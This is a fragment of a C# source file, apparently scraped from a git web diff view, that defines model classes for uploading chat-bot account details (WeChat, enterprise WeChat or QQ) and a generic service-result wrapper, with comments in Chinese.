[Required]
|
||||||
|
public DateTime CreateTime { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 上传机器人信息
|
||||||
|
/// </summary>
|
||||||
|
public class CustomerRobotInput
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// 用户名
|
||||||
|
/// </summary>
|
||||||
|
[Required]
|
||||||
|
[DisplayName("用户名")]
|
||||||
|
public string UserName { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 机器人类型0个人微信 1企业微信 2QQ
|
||||||
|
/// </summary>
|
||||||
|
[Required]
|
||||||
|
[DisplayName("机器人类型0个人微信 1企业微信 2QQ")]
|
||||||
|
public int RobotType { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 头像地址
|
||||||
|
/// </summary>
|
||||||
|
public string HeadUrl { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 昵称
|
||||||
|
/// </summary>
|
||||||
|
public string NickName { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 备注
|
||||||
|
/// </summary>
|
||||||
|
public string Remark { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// 统一服务返回结果
|
||||||
|
/// </summary>
|
||||||
|
public class ServiceResult
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// 请求是否成功
|
||||||
|
/// </summary>
|
||||||
|
public bool Ok { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 数据
|
||||||
|
/// </summary>
|
||||||
|
public object Data { get; set; }
|
||||||
|
/// <summary>
|
||||||
|
/// 错误信息
|
||||||
|
/// </summary>
|
||||||
|
public string Message { get; set; }
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// 统一返回结果
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="T"></typeparam>
|
||||||
|
public class ServiceResult<T> : ServiceResult
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// 初始化
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data"></param>
|
||||||
|
public ServiceResult(T data)
|
||||||
|
{
|
||||||
|
this.Data = data;
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// 返回数据
|
||||||
|
/// </summary>
|
||||||
|
public new T Data { get; set; }
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue